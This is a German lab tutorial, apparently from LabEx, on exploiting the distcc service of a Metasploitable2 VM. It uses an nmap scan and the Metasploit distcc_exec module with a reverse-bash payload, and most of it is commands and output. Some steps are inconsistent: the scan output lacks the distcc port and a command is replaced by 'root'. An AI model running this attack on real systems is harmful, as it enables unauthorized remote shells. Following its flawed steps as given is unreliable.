Einführung
In diesem Lab werden wir Penetrationstests auf der von LabEx bereitgestellten Metasploitable2-Zielmaschine mithilfe des Kali-Terminals durchführen. Der Schwerpunkt liegt auf dem Verständnis der Prinzipien und des Prozesses des Angriffs auf den Distcc-Service. Am Ende des Labs werden empfohlene Literatur und Hausaufgaben angegeben.
Starten Sie die Lab-Umgebung
- Öffnen Sie ein xfce-Terminal auf der LabEx-Hostmaschine und starten Sie die Metasploitable2-Zielmaschine, indem Sie den folgenden Befehl ausführen:
sudo virsh start Metasploitable2
Warten Sie, bis die Zielmaschine gestartet ist. Dies kann 1 - 3 Minuten dauern.
- Testen Sie die Konnektivität zur Zielmaschine, indem Sie sie per Ping testen:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping-Vorgang zu stoppen.
- Starten Sie den Kali Linux-Container und treten Sie in die bash-Umgebung ein, indem Sie folgenden Befehl ausführen:
docker run -ti --network host b5b709a49cd5 bash
- Innerhalb des Kali-Containers testen Sie die Netzwerkverbindung zur Zielmaschine:
ping 192.168.122.102
Drücken Sie Ctrl+C, um den Ping-Vorgang zu stoppen.
Nun laufen sowohl die Angriffsmaschine als auch die Zielmaschine, und Sie können mit den Penetrationstests beginnen.
Hinweis: Wenn Sie versehentlich die aktuelle bash-Umgebung verlassen, wird der Kali-Container automatisch gestoppt. Sie können auf der Hostmaschine erneut docker run -ti --network host b5b709a49cd5 bash ausführen, um einen neuen Kali-Container zu starten und in die bash-Umgebung einzutreten, um das Experiment fortzusetzen.
Führen Sie Penetrationstests durch
Das Prinzip der Distcc-Service-Schwachstelle:
Distcc wird für die verteilte Kompilierung großer Codebasen auf Netzwerkservern verwendet. Wenn es jedoch fehlerhaft konfiguriert ist, kann es missbraucht werden, um Befehle auszuführen. Diese Schwachstelle ist in XCode 1.5 und anderen Versionen von Distcc 2.x vorhanden, da auf dem Serverport keine Zugangsbeschränkungen implementiert sind.
Einfach ausgedrückt, fehlen dem Service ordnungsgemäße Prüfungen an Ports und ausgeführten Aufgaben. Dadurch können Angreifer die verteilten Kompilierungsaufgaben nutzen, um ihre eigenen Befehle auszuführen.
Schwachstellen-Indices:
Code des Schwachstellen-Angriffsmoduls:
Zunächst starten Sie msfconsole, um in die Bedienoberfläche zu gelangen:
cd ~
msfconsole
Verwenden Sie das Nmap-Scanning-Tool, um die offenen Ports des Zielhosts zu scannen:
nmap -sV -T4 192.168.122.102
Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
Basierend auf den Scanergebnissen suchen Sie das Modul, das dem Port-Service entspricht, den Sie angreifen möchten:
search distcc
Im Kali MSF-Terminal verwenden Sie den use-Befehl, um das entsprechende Modul auszuwählen:
use exploit/unix/misc/distcc_exec
Dann verwenden Sie den show options-Befehl, um die Modulparameter anzuzeigen:
show options
Hier ist ein Beispiel für die Ausgabe, die Sie sehen könnten:
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.140.88 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Setzen Sie den Parameter RHOST für den Zielhost auf 192.168.122.102
set RHOST 192.168.122.102
Sobald alles eingestellt ist, verwenden Sie den exploit-Befehl, um den Host anzugreifen:
exploit
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung
Überprüfen Sie den erfolgreichen Penetrationstest
Um zu überprüfen, ob der Eindringversuch erfolgreich war, verwenden Sie die folgenden Befehle: whoami, hostname und ifconfig (um die IP-Adresse zu überprüfen):
Zunächst sollten Sie, wenn Sie nicht in der Metasploit-Konsole sind, die Metasploit-Konsole starten:
cd ~
msfconsole
Überprüfen Sie den aktuellen Benutzer:
whoami
Überprüfen Sie den Hostnamen:
root
Überprüfen Sie die IP-Adresse des kompromittierten Hosts:
ifconfig
Wenn der Hostname und die IP-Adresse mit der Zielmaschine (192.168.122.102) übereinstimmen, zeigt dies an, dass der Penetrationstest erfolgreich war.
Drücken Sie Ctrl+D, um die Metasploit-Konsole zu beenden, und starten Sie dann die Prüfung
Zusammenfassung
In diesem Lab haben wir die Prinzipien und den Prozess des Angriffs auf den Distcc-Service kennengelernt. Wir haben praktische Erfahrungen mit Nmap-Penetrationstests, der Nutzung von Metasploit zur Ausnutzung der Distcc-Schwachstelle und der Überprüfung eines erfolgreichen Eindringens gesammelt. Das Lab hat uns ein praktisches Verständnis von Schwachstellenanalyse und -ausnutzungstechniken vermittelt.



